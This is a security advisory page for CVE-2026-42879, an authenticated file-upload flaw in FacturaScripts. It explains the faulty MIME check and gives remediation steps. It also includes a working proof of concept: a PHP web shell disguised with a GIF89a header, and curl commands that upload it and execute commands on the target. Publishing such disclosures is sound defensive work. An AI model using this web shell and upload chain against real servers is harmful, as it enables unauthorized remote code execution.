CVE-2026-42879: FacturaScripts Vulnerable to Authenticated Remote Code Execution (RCE) via GIF Image Upload in Product Images
CVE-2026-42879 - FacturaScripts - Authenticated Unrestricted File Upload via MIME Type Bypass Summary An authenticated unrestricted file upload vulnerability exists in FacturaScripts' product image upload functionality. An attacker with valid credentials can upload a PHP file disguised as a GIF image (using a GIF89a header), bypassing MIME type validation.
Published May 7, 2026 · Updated Jun 8, 2026
Affected packages
facturascripts/facturascripts
- Ecosystem
- Composer (PHP)
- Affected
- <= 2025.81
- Fixed in
- No patched version yet
- Check
composer show facturascripts/facturascripts
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
CVE-2026-42879 - FacturaScripts - Authenticated Unrestricted File Upload via MIME Type Bypass
Summary
An authenticated unrestricted file upload vulnerability exists in FacturaScripts' product image upload functionality. An attacker with valid credentials can upload a PHP file disguised as a GIF image (using a GIF89a header), bypassing MIME type validation. The file is stored with its original extension, including executable extensions such as .php.
---
Details
The vulnerability exists in:
Core/Lib/ExtendedController/ProductImagesTrait.php
Specifically in the addImageAction() method.
Vulnerable Code
if (false === strpos($uploadFile->getMimeType(), 'image/')) {
Tools::log()->error('file-not-supported');
continue;
}
$folder = Tools::folder('MyFiles');
Tools::folderCheckOrCreate($folder);
$uploadFile->move($folder, $uploadFile->getClientOriginalName());Root Cause
- The validation only checks if MIME type contains
"image/" - This can be bypassed by prepending GIF89a magic bytes to a PHP file
- The system incorrectly identifies the file as
image/gif - The file is saved with a
.phpextension in a web-accessible directory
File Storage Behavior
Uploaded files are stored in:
/MyFiles/YYYY/MM/X.phpWhere X is an auto-incrementing ID. This allows direct remote execution:
http://target/MyFiles/2026/03/2.php?cmd=id---
Impact
Successful exploitation:
An attacker may upload files with executable extensions (e.g. .php) to the server, which depending on server configuration could lead to further exploitation. ---
Proof of Concept (Manual)
Step 1: Create malicious file
cat > shell.jpg.php << 'EOF'
GIF89a
<?php
system($_GET['cmd']);
?>
EOFStep 2: Authenticate
- Login to the application
- Extract
PHPSESSIDfrom browser cookies
Step 3: Get CSRF token
curl -s "http://target/EditProducto?code=CONTA621" \
-H "Cookie: PHPSESSID=YOUR_SESSION_ID" \
| grep -o 'multireqtoken\" value=\"[^\"]*\"' | cut -d'"' -f4Step 4: Upload shell
curl -X POST "http://target/EditProducto?code=CONTA621" \
-H "Cookie: PHPSESSID=YOUR_SESSION_ID" \
-F "multireqtoken=YOUR_CSRF_TOKEN" \
-F "action=add-image" \
-F "activetab=EditProductoImagen" \
-F "idproducto=3" \
-F "newfiles[][email protected]"Step 5: Execute command
curl "http://target/MyFiles/2026/03/2.php?cmd=id"---
Affected Products
| Field | Value | | Ecosystem | Packagist | | CVE ID | CVE-2026-42879 | | Package Name | `facturascripts/facturascripts` | | Affected Versions | <= 2025.81 | | Patched Versions | Not yet patched | | Fixed in | Pending |
---
Remediation Recommendations
- Validate file extension — reject any upload where the filename ends in
.php,.phtml,.phar, or other executable extensions, regardless of MIME type - Re-generate filenames on the server — never use
getClientOriginalName(); assign a safe UUID-based name with a validated extension - Store uploads outside the webroot — serve files through a controller that streams content, preventing direct URL execution
- Use a file type library — validate actual file content (magic bytes + extension + MIME type) with a library like
fileinforather than trusting client-supplied MIME
Credits
- Discoverer: Abdullah Alwasabei / Guzrex
Credited to guzrex.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More Composer (PHP) vulnerabilities
All Composer (PHP) entriesCVE-2026-45262
FacturaScripts: Authenticated SQL injection in the FacturaScripts REST API filter parameter via parenthesis bypass in `Where::sqlColumn`
critical9.9Jul 14, 2026CVE-2026-45263
FacturaScripts: CSV formula injection in CSVExport allows authenticated low-priv users to plant payloads that execute when an admin opens the export
high8.0Jul 14, 2026CVE-2026-45693
FacturaScripts: Unauthenticated Path Traversal in Static File Controllers Reads Private MyFiles Documents
high7.5No fixJul 14, 2026CVE-2026-45710
FacturaScripts: Stored XSS in WidgetVariante and WidgetSubcuenta modal lists via HTML-attribute decoding of `Tools::noHtml`-escaped quotes inside `onclick=`
low3.5Jul 14, 2026CVE-2026-77526
FacturaScripts: Path traversal in UploadedFile::move() via getClientOriginalName() — arbitrary file write outside MyFiles/ leading to RCE
critical9.9Jul 14, 2026CVE-2026-47677
FacturaScripts: Account takeover of any 2FA-enabled user
critical9.3Jul 13, 2026
